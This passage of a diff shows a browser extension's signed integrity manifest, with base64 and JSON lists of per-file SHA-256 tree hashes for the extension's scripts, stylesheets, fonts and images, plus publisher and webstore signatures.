uL2Rpc3BsYXktZGl2LWRpbWVuc2lvbnMuY3NzIiwicm9vdF9oYXNoIjoiMFNPWDBsNnZuSGlyMkRvNVc3S0ZmVFNTVTdwSVNQOGxjU2xWc3M3d29ZQSJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9pbmZvcm1hdGlvbi9kaXNwbGF5LWRpdi1vcmRlci5jc3MiLCJyb290X2hhc2giOiIwU09YMGw2dm5IaXIyRG81VzdLRmZUU1NVN3BJU1A4bGNTbFZzczd3b1lBIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2luZm9ybWF0aW9uL2Rpc3BsYXktbGluay1kZXRhaWxzLmNzcyIsInJvb3RfaGFzaCI6InpNdmdaUEZUbUxYc2VLTGViOUhBZXZYcDlLSGQyNlZDTUFfRkUyeGNqaG8ifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvaW5mb3JtYXRpb24vZGlzcGxheS1vYmplY3QtaW5mb3JtYXRpb24uY3NzIiwicm9vdF9oYXNoIjoiVTViV0NQajBzaU1nYTBjaldUQjVqM1VpNjhnd2VYZ0hfZlNSRXBGdzI1dyJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9pbmZvcm1hdGlvbi9kaXNwbGF5LXRhYmxlLWluZm9ybWF0aW9uLmNzcyIsInJvb3RfaGFzaCI6InczTXlNbzJPdVhKeHFBMHRTcWgzWkVXUEV1V0lfNGtrakRGazVSQ0tIWXcifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvaW5mb3JtYXRpb24vZGlzcGxheS10b3BvZ3JhcGhpYy1pbmZvcm1hdGlvbi5jc3MiLCJyb290X2hhc2giOiIxd2FTUnpIVkdUYUJ5c3NVQ0gyWWpFbHRjOU9MWVVDYmtDajVyQ0w0WHdNIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL21pc2NlbGxhbmVvdXMvbGluZWFyaXplLXBhZ2UuY3NzIiwicm9vdF9oYXNoIjoiQVJUOW85YlRKRnhvZ3UybFlsUm5KbHpvREI5amFCUWxoVncxazIycDBHSSJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9vdXRsaW5lL291dGxpbmUtYmxvY2stbGV2ZWwtZWxlbWVudHMtYmVmb3JlLmNzcyIsInJvb3RfaGFzaCI6InJoRHczb293NVRFa25kTU1VeThNaVotcWc2a1dwVjNGQm1neEQ2cEVLNkUifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvb3V0bGluZS9vdXRsaW5lLWJsb2NrLWxldmVsLWVsZW1lbnRzLmNzcyIsInJvb3RfaGFzaCI6IjJxdWw2TnFfMi04X0RWQTFkWFBab09EWkxWdlBqeDF3d2daQVR5dkF6d3MifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvb3V0bGluZS9vdXRsaW5lLWRlcHJlY2F0ZWQtZWxlbWVudHMtYmVmb3JlLmNzcyIsInJvb3RfaGFzaCI6IklCa3pnUWF6aGJsM3E2bEdHS0hhV05qNjhtV1RBX2dDS1k5M2xDZ3prMDgifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvb3V0bGluZS9vdXRsaW5lLWRlcHJlY2F0ZWQtZWxlbWVudHMuY3NzIiwicm9vdF9oYXNoIjoiMGNZbDAyX2JobXRRbWJsLVN5cTBkUXlFNmdjVDM4cDBjRHFoTmMzemhaQSJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9vdXRsaW5lL291dGxpbmUtZmxvYXRlZC1lbGVtZW50cy5jc3MiLCJyb290X2hhc2giOiJVQThpQy1Va3l0MXBuN2x1VzdjWHBxdUhfcEdQTC13c1l3RklWS0tUcE9vIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL291dGxpbmUvb3V0bGluZS1mcmFtZXMuY3NzIiwicm9vdF9oYXNoIjoiaXIwUkJZelVLNURyTzFVU01nWEF6WkpveHNmUjhxbExMUVNTM1R1dzhvNCJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9vdXRsaW5lL291dGxpbmUtaGVhZGluZ3MtYmVmb3JlLmNzcyIsInJvb3RfaGFzaCI6ImhnR0hPYkRKcVVRcXJjeVRUMndJSTdqd09UTnNWbjFNNUsyLVdJNGZ3bGsifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvb3V0bGluZS9vdXRsaW5lLWhlYWRpbmdzLmNzcyIsInJvb3RfaGFzaCI6ImpsMEFZRTZOSmxUM0I1V3AxaHA0dUNRcFdKS1Ffemk2ZHdQc2RlaFNsZ2cifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvb3V0bGluZS9vdXRsaW5lLW5vbi1zZWN1cmUtZWxlbWVudHMuY3NzIiwicm9vdF9oYXNoIjoiUVExN1NmNVNZUTNBdlIxTHREX0hrbXJ5aWhsclRkVTFkTFFJdkpHcUxJMCJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9vdXRsaW5lL291dGxpbmUtcG9zaXRpb25lZC1lbGVtZW50cy5jc3MiLCJyb290X2hhc2giOiJFdkh4QnlnUVZ3by1VUjE2ekRTRFJpRXM2bUZoXzROYjhzTG1wdTM2Yi1ZIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL291dGxpbmUvb3V0bGluZS10YWJsZS1jYXB0aW9ucy5jc3MiLCJyb290X2hhc2giOiJxX2M1TnpjRTNQZXIzZ3RJWHFqNjRsU1ZtQTJOd21sV2hlNUNsNW9JWm84In0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL291dGxpbmUvb3V0bGluZS10YWJsZS1jZWxscy1iZWZvcmUuY3NzIiwicm9vdF9oYXNoIjoidk1WOFRtV0d2UlJaSTI4eHU2cUR6VFB1MHUwM0trY3RfLV9RV3NOTjkwMCJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9vdXRsaW5lL291dGxpbmUtdGFibGUtY2VsbHMuY3NzIiwicm9vdF9oYXNoIjoiTzBaeVl0blJPUjBzbWtFeXh1QVZYWU12TGZyWUhJUWZ1S2llSlRvVkhxOCJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9vdXRsaW5lL291dGxpbmUtdGFibGVzLmNzcyIsInJvb3RfaGFzaCI6InNVQjdCd3dIdUF0ajR2MmVOVEdaOVNjYkw3TlItSTJmazZKX2lGNlJkWUkifSx7InBhdGgiOiJnZW5lcmF0ZWQvZmluZC1icm9rZW4taW1hZ2VzLmh0bWwiLCJyb290X2hhc2giOiJCVHpkOTZRNnFMUGFLX1NjYzVEU0pmSGkwUFAtUW41MlFMMUh5R0hfT01vIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2ZpbmQtZHVwbGljYXRlLWlkcy5odG1sIiwicm9vdF9oYXNoIjoidHFyYUJmRmUzMzVrVldiZFNTRmJIQWlfQ2l1amFlYm9rUGdXQWN2WmZVZyJ9LHsicGF0aCI6ImdlbmVyYXRlZC9qYXZhc2NyaXB0L2JlYXV0aWZ5L2JlYXV0aWZ5LmpzIiwicm9vdF9oYXNoIjoiX0dQT0dIVy0yOE9yT0xtYnhOYV9iMUdYRGEzMGhGbmtuWXNLTm9GaG1EayJ9LHsicGF0aCI6ImdlbmVyYXRlZC9qYXZhc2NyaXB0L2NvbW1vbi5qcyIsInJvb3RfaGFzaCI6Ijh1Mkxla0Uzdk1CZjNnbm9QNkk1Q2REeVltcV9rTFYwb3dVMmJpNDlleDQifSx7InBhdGgiOiJnZW5lcmF0ZWQvamF2YXNjcmlwdC9maW5kLWJyb2tlbi1pbWFnZXMuanMiLCJyb290X2hhc2giOiJpZmdLQTJOZVMwUVhJTHA3bEhIMjFSU3RXNHM4eDNreUdUanJlUm5kWWswIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2phdmFzY3JpcHQvZmluZC1kdXBsaWNhdGUtaWRzLmpzIiwicm9vdF9oYXNoIjoiMlN6aWV2Rzl2aFE4bnh5ZlpjNmFJVWRUeHc5ejZ6NUpfbXltN0pLQ0ZWbyJ9LHsicGF0aCI6ImdlbmVyYXRlZC9qYXZhc2NyaXB0L3ZpZXctYW5jaG9yLWluZm9ybWF0aW9uLmpzIiwicm9vdF9oYXNoIjoiNmV2WXM1TXNBdXU0OXZEXzEzM3d3SUZIc3RHYXVNczkxMHlZTklpMno5RSJ9LHsicGF0aCI6ImdlbmVyYXRlZC9qYXZhc2NyaXB0L3ZpZXctY29sb3ItaW5mb3JtYXRpb24uanMiLCJyb290X2hhc2giOiJwblBrOE9ubDNUTVZLZXRsZElKMEFPRmFHS3dWc0VyOFBocGdOUERuQnpNIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2phdmFzY3JpcHQvdmlldy1jb29raWUtaW5mb3JtYXRpb24uanMiLCJyb290X2hhc2giOiI4UG9GT2hmYmlaeFo2Vk1BMHg4a0NNd3lDTUt2UTdPLU84YkkzT2lkbndBIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2phdmFzY3JpcHQvdmlldy1jc3MuanMiLCJyb290X2hhc2giOiJuVy1SWFJ0bzRmeGhFS3Y3NE1RQ3JFNUlBOERuMVZYRzNlQlpfNy12R3ljIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2phdmFzY3JpcHQvdmlldy1kb2N1bWVudC1vdXRsaW5lLmpzIiwicm9vdF9oYXNoIjoidXN4VEdZMlVQVnBSNUU0MGJ2cEVZQ01NTHpzeEJpN0lqZ2RJUHBjY1pQdyJ9LHsicGF0aCI6ImdlbmVyYXRlZC9qYXZhc2NyaXB0L3ZpZXctZm9ybS1pbmZvcm1hdGlvbi5qcyIsInJvb3RfaGFzaCI6InFPLTdCNi1hRHJHMWlXeWV6TGFIeFRGRGIwVXRKcDRKRGt6M0d6RlA3cVkifSx7InBhdGgiOiJnZW5lcmF0ZWQvamF2YXNjcmlwdC92aWV3LWltYWdlLWluZm9ybWF0aW9uLmpzIiwicm9vdF9oYXNoIjoicGliWVFiWi1pLWRESlZKbTNSMWhLOF9wdTIyQ3dxTFExa0FKZDJyRjRrYyJ9LHsicGF0aCI6ImdlbmVyYXRlZC9qYXZhc2NyaXB0L3ZpZXctamF2YXNjcmlwdC5qcyIsInJvb3RfaGFzaCI6IkNtYUl6aHpNbmpienBlWmFKenM4UzVsVWlvb3k0MjA3NndDcHpQZmpzaE0ifSx7InBhdGgiOiJnZW5lcmF0ZWQvamF2YXNjcmlwdC92aWV3LWxpbmstaW5mb3JtYXRpb24uanMiLCJyb290X2hhc2giOiJINko5YXZFbjhsRl83RUs4TDJKZng5eHdQb0ExX3pqczNVbXhBa0RyQ3pzIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2phdmFzY3JpcHQvdmlldy1tZXRhLXRhZy1pbmZvcm1hdGlvbi5qcyIsInJvb3RfaGFzaCI6InhVcDV6dGFRc0t4Q0duOVJJSGpSc1h5aUM0MVY0Z2tXaHJONkVNN1BJLUkifSx7InBhdGgiOiJnZW5lcmF0ZWQvamF2YXNjcmlwdC92aWV3LXJlc3BvbnNlLWhlYWRlcnMuanMiLCJyb290X2hhc2giOiJadWtORGo3SnM0VzVQNEFnRGQyVUw2N3hKMmtWU3pPSFEyN1o2bHZndk5zIn0seyJwYXRoIjoiZ2VuZXJhdGVkL2phdmFzY3JpcHQvdmlldy1yZXNwb25zaXZlLWxheW91dHMuanMiLCJyb290X2hhc2giOiJBTXZvcTRNN1dGb0dZbzlfZndOaDFjTU9faDdYMnNLRmxMSFJtdWY2a01NIn0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctYW5jaG9yLWluZm9ybWF0aW9uLmh0bWwiLCJyb290X2hhc2giOiJyMU1wZ1RORV9XWlFnZnZXTlRfaUgtSVFvWF9xM2xGU3U0SlVrdzk3MDV3In0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctY29sb3ItaW5mb3JtYXRpb24uY3NzIiwicm9vdF9oYXNoIjoiMXlPNlZjMzJmeWRCWGpJWXMwbjgwYlZDNXU4NkQtZnV5Q3VRamQ5MkNMMCJ9LHsicGF0aCI6ImdlbmVyYXRlZC92aWV3LWNvbG9yLWluZm9ybWF0aW9uLmh0bWwiLCJyb290X2hhc2giOiJmSUtvdUlmZXo2Q3hqc2dKdDVoQU5raW92bHpJMDZXVFVzNm0tYTg5YXZVIn0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctY29va2llLWluZm9ybWF0aW9uLmNzcyIsInJvb3RfaGFzaCI6IkdvMHYya2ZreTVmZEdwelFURzFoTzBFdWZlWEFZS3loYjM3ajk0aFIyS2sifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1jb29raWUtaW5mb3JtYXRpb24uaHRtbCIsInJvb3RfaGFzaCI6Im85UVBpUlRrNTBnaDRBVzVGN05TMzZtVTNwclgyREdmbE92SUx5eXo0dTQifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1jc3MuaHRtbCIsInJvb3RfaGFzaCI6IlRKdkZGcnBCVnpqYzJPMTEzcVpJeGhGakhoOW5aSE1tUnEtWEdqdHVzakkifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1kb2N1bWVudC1vdXRsaW5lLmNzcyIsInJvb3RfaGFzaCI6IjFRMmk2MTdvWml1YmJDeW1VX0s3U19MV3hpVHN6SG03MTFCd2ZJYm1ub1EifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1kb2N1bWVudC1vdXRsaW5lLmh0bWwiLCJyb290X2hhc2giOiJ2SHpEYzBxSUdNUlk1UlVGblZ2UlcxNHdsV2xfenIwX0R6WDdZalNCNW5VIn0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctZm9ybS1pbmZvcm1hdGlvbi5jc3MiLCJyb290X2hhc2giOiJBeUIyVnNkakJyaVpXTUoyblpBUjJVckJWZDBiZ1NneTN6cDc1azBFVUNRIn0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctZm9ybS1pbmZvcm1hdGlvbi5odG1sIiwicm9vdF9oYXNoIjoiSVU4V2lWM3RROVJmUjFuWHZiRFU1czdvQUFJc2FvLTYzeDRMWktMZXVpUSJ9LHsicGF0aCI6ImdlbmVyYXRlZC92aWV3LWltYWdlLWluZm9ybWF0aW9uLmNzcyIsInJvb3RfaGFzaCI6ImFlU0xBd3RkbURwLV9LT29KcHlOdWtfblVPWkpUY2RlMzVJM0tkd0dzM3cifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1pbWFnZS1pbmZvcm1hdGlvbi5odG1sIiwicm9vdF9oYXNoIjoibERjcHYwYTUxektaZm1pNzVLOWw4ZEZUR2p4dlhfbUdOZHVJamlYV216ZyJ9LHsicGF0aCI6ImdlbmVyYXRlZC92aWV3LWphdmFzY3JpcHQuY3NzIiwicm9vdF9oYXNoIjoibWp2eTI5UTFzb2dxSVVhM2ktU1BhWDRzeXRFeXVrNVMzTTRnakphMWxxdyJ9LHsicGF0aCI6ImdlbmVyYXRlZC92aWV3LWphdmFzY3JpcHQuaHRtbCIsInJvb3RfaGFzaCI6ImpyN09wckRsVDNTeWE4aldvNTNQSVdPMUJ3ZUFYRk52ekVZeFlrS21HdWMifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1saW5rLWluZm9ybWF0aW9uLmh0bWwiLCJyb290X2hhc2giOiJWU3NLaVZPanBIbFlray1BZ2NwM2Q1VHBlSWpqUld1VjVTSGtJeFg1akVZIn0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctbWV0YS10YWctaW5mb3JtYXRpb24uaHRtbCIsInJvb3RfaGFzaCI6ImhYTU1yOHdVaWVHTmVMTHVxQzVNa1I1N29zMkdKR1VDTW50cko4UGZ4azAifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1yZXNwb25zZS1oZWFkZXJzLmh0bWwiLCJyb290X2hhc2giOiJnWWVJMkRzRVQ3V0Q3dW9uZWlrU0w0SjR5a3FDV2JKbzJPeHFFMG5ubUw4In0seyJwYXRoIjoiZ2VuZXJhdGVkL3ZpZXctcmVzcG9uc2l2ZS1sYXlvdXRzLmNzcyIsInJvb3RfaGFzaCI6InNUZWlhX2R1cEVtTVY4UTJ3MDFKUWdNSGpnQW9XbjNUd0NfLUNDaE9UbVkifSx7InBhdGgiOiJnZW5lcmF0ZWQvdmlldy1yZXNwb25zaXZlLWxheW91dHMuaHRtbCIsInJvb3RfaGFzaCI6Im1WT3N3OEpVcV9RTlRYajdmamVrVGR3TVRoZXlyS3IzQnhNZy1fbmVMbXcifSx7InBhdGgiOiJsaWNlbnNlLnR4dCIsInJvb3RfaGFzaCI6IkJacTF3TC0tN2FpREFhX2xJb196aUdobWdyZ2Rrd3hKNVBuYndNZUJrVmMifSx7InBhdGgiOiJsb2NhbGVzL2xvY2FsZXMuanMiLCJyb290X2hhc2giOiJDZTRuWGFRNVd5NmEwV2VzYmpHeHM1QllMdDE2dmtLYnZVRE1UWERlTlE0In0seyJjYW5vbmljYWxfanNvbl9yb290X2hhc2giOiJET2NaczF2Q0tLYWlPdE1UZmVXWjgzUDlpVFRWZG5wcmNnSWpJS3R2dU93IiwicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJOSGVNVHdtUjZzS3hHaE0zQUg0Ml84WGgxRkR1ZHBPd3Y5V3NBQVQ4dnYwIn0seyJwYXRoIjoib3B0aW9ucy9pbWFnZXMvb3B0aW9ucy0yeC5wbmciLCJyb290X2hhc2giOiJFUVpicWlVdllObmFDci1jY0FzbkZSeWlvLWNRRWlUU190VmcwSHN1aWRrIn0seyJwYXRoIjoib3B0aW9ucy9pbWFnZXMvb3B0aW9ucy5wbmciLCJyb290X2hhc2giOiJPZDdUUmRjN0NjTzE5ejRSV0oyeEgtaDRqNlJjcm1Cd1BxeGE2OFN6WHI4In0seyJwYXRoIjoib3B0aW9ucy9qYXZhc2NyaXB0L29wdGlvbnMuanMiLCJyb290X2hhc2giOiJ4NWpINE1jZnpHanV2eXk0TjZhM3BVcWZOUTduMVV5cUg4WEhVN2ItZ3FBIn0seyJwYXRoIjoib3B0aW9ucy9qYXZhc2NyaXB0L3N5bnRheC1oaWdobGlnaHQuanMiLCJyb290X2hhc2giOiJET3l2MWVzU0ZFN2xPWXhyVV9Zd29YLXM1Y0lvT0FWcWZNMzBjRGdYOXpZIn0seyJwYXRoIjoib3B0aW9ucy9vcHRpb25zLmNzcyIsInJvb3RfaGFzaCI6ImU0U04xX1pMaUZDdGNjcWtueWpXS0Etb1NZVDVYN0tURl9XN1lJNGJEczQifSx7InBhdGgiOiJvcHRpb25zL29wdGlvbnMuaHRtbCIsInJvb3RfaGFzaCI6ImozQnRQZ1B5TWJxY1FLdXJWZzdfZGVNUlppNGlIVVh0alpnVDAyTzN1TWsifSx7InBhdGgiOiJvcHRpb25zL3N5bnRheC1oaWdobGlnaHQuY3NzIiwicm9vdF9oYXNoIjoibFhWRVpQOU1xY1NLc1dTdzBYUzM3U0dyVUdtTlJGTFVNbWdyVXJudEVRSSJ9LHsicGF0aCI6Im9wdGlvbnMvc3ludGF4LWhpZ2hsaWdodC5odG1sIiwicm9vdF9oYXNoIjoiVnhFb2RVQnVOdVptSUx3aE5PWHVjamV2Q2hBVWVkb0pwV3lWTVFLYlFwNCJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL2ZlYXR1cmUtMngucG5nIiwicm9vdF9oYXNoIjoidVhUVFVwX3UyWWxQbGxzQlUzei1RTUlGWWpOMFo0M0ZqRlFaR1FQNXdPMCJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL2ZlYXR1cmUucG5nIiwicm9vdF9oYXNoIjoiMF8weFp3bWtBYmM4azQ3Nk8tLWJ2cDkxc1ZMUndCR1dYc1RPMTFJYlVtMCJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL2ljb24tMngucG5nIiwicm9vdF9oYXNoIjoiZTRNT2dnMkZCRnVIRmVSQV9YT0J2a2l0WVU0UnhXR0dMb0g5cXZtdmdIRSJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL2ljb24tY29sb3ItMngucG5nIiwicm9vdF9oYXNoIjoickVRNjZDS20wNGFHWkJmUVJZLU42dGpyNG84MVdlTV9wUEJhMEM0aXp3cyJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL2ljb24tY29sb3IucG5nIiwicm9vdF9oYXNoIjoic2h0MVctUEZpaDhwbS1odmhoZGRqOGtmMmk1S3hVSnYyLW5BYXgzRXEtOCJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL2ljb24ucG5nIiwicm9vdF9oYXNoIjoidVVSR2FPUWtFcTBGTFlEVk5wU0tCSnpZenhFbU80dWRSS1ZCbndvaUNiNCJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL3Rvb2xiYXItMngucG5nIiwicm9vdF9oYXNoIjoiQXpsV1hXVTY3WUgyaU50UEw0ZVRkZC1oNHZoZENGSEFxYm9rYWxEQTBPNCJ9LHsicGF0aCI6Im92ZXJsYXkvaW1hZ2VzL3Rvb2xiYXIucG5nIiwicm9vdF9oYXNoIjoiaDd0RkhqLVBaYURLQ29fNVZzY3ctZEI4LTJQLV8wclljZVBURVd5VmNiMCJ9LHsicGF0aCI6Im92ZXJsYXkvamF2YXNjcmlwdC9vdmVybGF5LmpzIiwicm9vdF9oYXNoIjoiUzZFLXNTcG9qcjFHaXpQV2hqaGtJSjEwT01MSlhlbklERkFaUFpEX1ZuRSJ9LHsicGF0aCI6Im92ZXJsYXkvb3ZlcmxheS5jc3MiLCJyb290X2hhc2giOiJLTEw5T2NNaTg2bDhmNXlvejNQalRCQl91SzFCejV6WUtSMVBlTl9KdVFjIn0seyJwYXRoIjoib3ZlcmxheS9vdmVybGF5Lmh0bWwiLCJyb290X2hhc2giOiJxdWFWWV9vcXFVZ2hjX2MtNm5mcUZmUnpWcDdTYWs5Z2ZLVk9NUEVfM3hrIn0seyJwYXRoIjoic3RvcmFnZS9zdG9yYWdlLmpzIiwicm9vdF9oYXNoIjoiRGRISDYyekJscTRUZE4tVzlPX19vUThVaEtEcFNuanBlUG9laTNuQWFHbyJ9LHsicGF0aCI6InRvb2xiYXIvY29sb3ItcGlja2VyLXRvb2xiYXIuY3NzIiwicm9vdF9oYXNoIjoiZE5RLXZTR0xjSExDT2h4blM5SHBqMlVTdmpXbFBYdDZQTkNJWVJRX3NZTSJ9LHsicGF0aCI6InRvb2xiYXIvY29sb3ItcGlja2VyLmNzcyIsInJvb3RfaGFzaCI6Im9QY0tvWXBmWVgzSG5kbnNyZ01QUTlTdS1XN1BGYy1PZ09GbmZIaXh6MkUifSx7InBhdGgiOiJ0b29sYmFyL2VsZW1lbnQtYW5jZXN0b3JzLmNzcyIsInJvb3RfaGFzaCI6InNhYmFweVYtamgzaGM2ejd0S2hWU25KTjZZTEJWdHBhNHZaWWtSNVdEbk0ifSx7InBhdGgiOiJ0b29sYmFyL2VsZW1lbnQtaW5mb3JtYXRpb24uY3NzIiwicm9vdF9oYXNoIjoiWUFXazVrYmdPckpScDVhSGJGcll0OXpib1Bscy1ka1ZkSWNBMDhwOGZLOCJ9LHsicGF0aCI6InRvb2xiYXIvaW1hZ2VzL2xvZ28ucG5nIiwicm9vdF9oYXNoIjoiYURXN0lrVnE5TzlzQTVmaDhzQ1VEdnZfUi1QcFUtVkVlcks1MVBPWWVUayJ9LHsicGF0aCI6InRvb2xiYXIvamF2YXNjcmlwdC9jb2xvci1waWNrZXIuanMiLCJyb290X2hhc2giOiJaRVdsc21MLWtHRjIwTjVsd3BzM3pSa3ppWW8zOVgzaDMyWUowYXBqM21ZIn0seyJwYXRoIjoidG9vbGJhci9qYXZhc2NyaXB0L2xpbmUtZ3VpZGVzLmpzIiwicm9vdF9oYXNoIjoiZnhxTmpfOGVwdUFYZl84azJUWDIyUF96RnYyazJkWFJCdXN0TEx2VlE2WSJ9LHsicGF0aCI6InRvb2xiYXIvamF2YXNjcmlwdC9ydWxlci5qcyIsInJvb3RfaGFzaCI6IlkzdnBYV3pPOGM5QV94d2VoRlRia0lycnVyYlJfMW5FQjhOVXJiT1F4RG8ifSx7InBhdGgiOiJ0b29sYmFyL2xpbmUtZ3VpZGVzLXRvb2xiYXIuY3NzIiwicm9vdF9oYXNoIjoiTTYyTWpyYVBuOWlJbWZ1UVJZQ0lJaE1rYV9GMjJCY0NLMzFuY0JNNWNnVSJ9LHsicGF0aCI6InRvb2xiYXIvbGluZS1ndWlkZXMuY3NzIiwicm9vdF9oYXNoIjoiQkVpWXRuUVIxR0U5SjM3Ry1aLTBiWVdJOXRnWHhGeVNQZ1dobzZIeWkzYyJ9LHsicGF0aCI6InRvb2xiYXIvcnVsZXItdG9vbGJhci5jc3MiLCJyb290X2hhc2giOiJOSXhSZkVWZTlGOEhxUGZVa3o2ZWU0aHJWMTNibXlOMGNsWVdWSktpeGk4In0seyJwYXRoIjoidG9vbGJhci9ydWxlci5jc3MiLCJyb290X2hhc2giOiJaSEg2TmtqblZjWVpRbF94eTNOVU4zaVMyNTIzZFpGWlJlQ25WOWo3d1owIn0seyJwYXRoIjoidXBncmFkZS91cGdyYWRlLmpzIiwicm9vdF9oYXNoIjoiVHdQbmJleHUtQll5WTNuWnpEd1l4SDN3ZnpiX1hxUWVyb2w0ZXZPZlc2byJ9LHsicGF0aCI6InZhbGlkYXRpb24vY3NzLmh0bWwiLCJyb290X2hhc2giOiJJYS1XWmlhTTVXNW1oRjZXMjl6NGpNNENSaFdRWFh0V3JrdjB4RVE5ckFRIn0seyJwYXRoIjoidmFsaWRhdGlvbi9odG1sLmh0bWwiLCJyb290X2hhc2giOiJkZG04Q3BsU00tWENMdnk1bGRVTWNNeW1YRFdrcGVzUjZ4UndadnhKa1ZnIn0seyJwYXRoIjoidmFsaWRhdGlvbi9qYXZhc2NyaXB0L2Nzcy5qcyIsInJvb3RfaGFzaCI6InlUZ1dRU0hQWUE5dG0wLXdOdWhaM3BpT2l6aEI5ZmJhOUZlWDdtQjBqM2MifSx7InBhdGgiOiJ2YWxpZGF0aW9uL2phdmFzY3JpcHQvaHRtbC5qcyIsInJvb3RfaGFzaCI6IkR6NEFhUl9pR1hRejlBOUE5UmxOcWI0cnV3bS0wMUlySTQxODNUQlUzTk0ifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJiZmJhbWVuZWlva2tnYmRtaWVraGpubWZrY25sZGhobSIsIml0ZW1fdmVyc2lvbiI6IjAuNC44IiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"msb8xAmg-Q6XJCBL6MegYXwSuctKUncq2T69Irk48RJFAFAQIBdr6zAOskBz1_oClY06CPo_7pnOokqrO2LKADcEHdF4vIVQJUAJPEV0BbYYE-yHWlTYl06cQ7lKnBQJUCYFpVSRzrAvETppr31KRIW1kosc6YViM9ERsnI-ZMs"},{"header":{"kid":"webstore"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"RMMsh_I00fTYE6IFf-_lOLNbdD0TbLpAqsUQR79VriWHEBTBy-UHZ7Dx0ckn__YZQZVUEJ5rCC2heCJwmqqD_RGYR30qUawomIczfRt1WlapDHYeayP7QgIdj3K1wlXsvaX3axhQCOunS9AFaC64DkOv2HeBHoqLJi_ArhiXnMelpvMAKGH7wjidwQ9fu-SKubO9kLSPiODKjh0H_w3AT7qMaQWWAXjG50ia_NbVrAx8M_u1nzzgHowx349OVIspI9NzeX3YnxVVCM4R-MJNAGeVMhOfqM9f0uE7T3nE2WI1CjY3u7dQ1nqB8P5tiiyFdiVzsxYv6yew6HK8a8rinw"}]}}]
\ No newline at end of file
+[{"description":"treehash per file","signed_content":{"payload":"{"content_hashes":[{"block_size":4096,"digest":"sha256","files":[{"path":"_locales/en_US/messages.json","root_hash":"sR9L53AZ16ANgRxb0b_7QaV1EFc9j3d7m0sUu67sWXk"},{"path":"about/about.css","root_hash":"Q2HmbyoRdiVX6rANKcBuQ9C_JOyJf7s8IA8upBONbVs"},{"path":"about/about.html","root_hash":"1-PupiUJtpBVp3c3Lu7hDbb44beGiWvKWFfzfkuaXzE"},{"path":"about/javascript/about.js","root_hash":"28h9s-OgHuweEFQmwpnfV7sEjPT5UhCMPlIYjVQIaHM"},{"path":"background/background.html","root_hash":"CoIcUbMancEhNmFaJHBLYQ_qG0kKUdiSajEnUvkCXCU"},{"path":"background/javascript/background.js","root_hash":"fFe08g7cXhyoo5mJtkZpno7i8qxtILGfxln5CqrMctI"},{"path":"common/fonts/fontawesome-webfont.eot","root_hash":"FVSyj-5hpJfgwD-ypKKc3wO6bUXI7WalAcQzYEGRUks"},{"path":"common/fonts/fontawesome-webfont.svg","root_hash":"L_4dPmCy9BskOrIeTuyQlHN0q7xJEmJAwkpfDwaGch0"},{"path":"common/fonts/fontawesome-webfont.ttf","root_hash":"MwqstXoW4Cko-YJAi9aVoE3Ztv3dzDA1rjn1L-V4Bss"},{"path":"common/fonts/fontawesome-webfont.woff","root_hash":"z1Lx-jU-FtFX1dgZHAS3-wIG-kDcOkRH9sI372Slqls"},{"path":"common/images/logos/128.png","root_hash":"04VASw-CiopCZC3owPeJKS1ph_xakC93ydkvB